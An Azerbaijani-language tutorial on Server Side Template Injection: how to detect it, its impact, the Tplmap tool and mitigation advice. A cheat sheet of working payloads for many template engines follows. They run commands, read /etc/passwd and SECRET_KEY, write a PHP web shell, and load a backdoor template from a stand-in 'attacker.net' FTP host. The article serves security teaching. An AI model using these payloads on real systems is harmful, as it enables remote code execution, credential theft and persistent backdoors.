Server Side Template Injection(SSTI) nədir?

Müəllif : Asim Verdiyev

SSTI nədir?

Server Side Template Injection zəifliyi təcavüzkarın server tərəfindəki əmrləri yerinə yetirmək üçün Template-ə malicious kod injeksiya etməsidir. Bu zəiflik, yanlış istifadəçi daxiletməsi Template Engine-ə daxil edildikdə baş verir ki, bu da böyük ehtimalla Remote Code Execution(RCE) səbəb olur.

Template Engine-ləri dinamik məlumatların veb səhifələrə yerləşdirilməsinə kömək edən nəticə sənədləri hazırlamaq üçün template-ləri məlumat modeli ilə birləşdirmək üçün nəzərdə tutulmuşdur. Template Engine-ləri istifadəçilər, məhsullar və s. haqqında məlumatları göstərmək üçün istifadə edilə bilər. Ən populyar Template Engine-lərindən bəziləri aşağıdakı kimi sadalana bilər:

  • PHP – Smarty, Twigs

  • JAVA – Velocity,Freemaker

  • Python–JINJA,Mako,Tornado • JavaScript–Jade,Rage

  • Ruby-Liquid

input validation server tərəfində düzgün idarə edilmədikdə, serverdə zərərli SSTİ payload-ı icra oluna bilər ki, bu da RCE ilə nəticələnə bilər.

Bu necə işləyir?

Aşağıdakı sorğunun parametrini test etdiyinizi təsəvvür edin:

POST /some-endpoint HTTP/1.1
Host: vulnerable-website.com
parameter=value

Zəifliyi aşkar etmək üçün, aşağıdakılar kimi xüsusi simvollar ardıcıllığı olan parametrin dəyəri kimi poliqlot payloadından istifadə edin:

POST /some-endpoint HTTP/1.1 
Host: vulnerable-website.com 
parameter=${{<%[%'"}}%\.

Template Engine-i müəyyən etmək üçün error mesajını oxuyun:

Error mesajı Template Engine-i göstərmirsə, məşhur Template Engine-ləri üçün bəlli olan payloadlar sınaqdan keçirə bilərik:

=${7*3} 
={{7*3}} 
=<%= 7*3 %>

Error mesajı Template Engine-i göstərmirsə, məşhur Template Engine-lər üçün bilinən payloadlar vasitəsilə test edə bilərsiniz:

POST /some-endpoint HTTP/1.1 
Host: vulnerable-website.com 
parameter= {% debug %}

Çıxışda bu Template-dən istifadə edə biləcəyiniz object-lərin siyahısı olacaq:

Mövcud olan "parametrlər" object-dən istifadə edərək gizli açarı oxuyaq:

POST /some-endpoint HTTP/1.1 
Host: vulnerable-website.com 
parameter= {{settings.SECRET_KEY}}

SSTI-nin təsiri nədir?

SSTİ zəifliklərinin təsiri kritikdir, nəticədə backend-ə nəzarət edir və bu da RCE ilə nəticələnir. Hətta code execution olmadan, təcavüzkar serverdə həssas məlumatları oxuya bilər. Template Engine-dən asılı olaraq SSTI zəifliyinin kritik olmadığı nadir hallar da var.

Zəifliyi necə müəyyən etmək olar?

SSTI zəifliklərini tapmaq üçün Template ifadələrində istifadə edilən xüsusi simvollardan ibarət Polyglot payloadı istifadə edin.

${{<%[%'"}}%\.

Zəiflik olduqda, xəta mesajı qaytarıla bilər və ya server tərəfındən istisna yaradıla bilər.Bu zəifliyi və istifadə olunan Template Engine-i müəyyən etmək üçün istifadə edilə bilər.

Zəifliyi müəyyən etmək üçün aşağıdakı ardıcıllıqlara əməl oluna bilər:

  • Template injectionun harada olduğunu müəyyən edin

  • Template Engine-i müəyyən edin və zəifliyi təsdiqləyin

  • Xüsusi Template Engine üçün təlimatlara əməl edin

  • Zəiflikdən istifadə edin

Aşağıdakı cheat sheet Template Engine-i müəyyən etmək üçün istifadə edilə bilər:

Avtomatlaşdırılmış Alətlər

Tplmap, əsas əməliyyat sisteminə giriş əldə etmək üçün bir neçə Sandbox Bypass üsulları ilə Code Injection və Server Side Template Injection zəifliklərinin istismarına kömək edir.

Tool və onun test dəsti SSTI zəifliyini araşdırmaq və veb proqramların Pentestləri offensive security tools kimi istifadə etmək üçün hazırlanmışdır.

Əlavə məlumat üçün alət üçün GitHub repozitoriyasını yoxlayın .

Cheatsheet

--------------------------------------------------------------------
Polyglot:
${{<%[%'"}}%\
--------------------------------------------------------------------
FreeMarker (Java):
${7*7} = 49
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
--------------------------------------------------------------------
(Java):

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
--------------------------------------------------------------------
Twig (PHP):

{{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
--------------------------------------------------------------------
Smarty (PHP):

{$smarty.version}
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
--------------------------------------------------------------------
Handlebars (NodeJS):

wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
--------------------------------------------------------------------
Velocity:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
-------------------------------------------------------------------
ERB (Ruby):
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
--------------------------------------------------------------------
Django Tricks (Python):
{% debug %}
{{settings.SECRET_KEY}}
--------------------------------------------------------------------
Tornado (Python):
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
--------------------------------------------------------------------
Mojolicious (Perl):
<%= perl code %>
<% perl code %>
--------------------------------------------------------------------
Flask/Jinja2: Identify:
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
--------------------------------------------------------------------
Flask/Jinja2: 
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
--------------------------------------------------------------------
Jade:
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
--------------------------------------------------------------------
Razor (.Net):
@(1+2)
@{// C# code}

Daha çox Payload üçün bura gedin.

Qarşısının Alınması

SSTI zəifliyinin aradan qaldırılması üsulları istifadə edilən müxtəlif Template Engine-dən asılıdır. Bu zəifliyi aradan qaldırmaq üçün 2 ümumi təklif var:

  • Sanitization: Hər hansı bir zəifliyi aradan qaldırmaq və ya minimuma endirmək üçün data-nı Template-ə ötürməzdən əvvəl "user input"-nu lazımsız şeylərdən təmizləyin.

  • Sandboxing: Təhlükəli simvolların istifadəsi iş ehtiyacıdırsa, təhlükəsiz mühitdə sandbox istifadə etmək tövsiyə olunur.

Last updated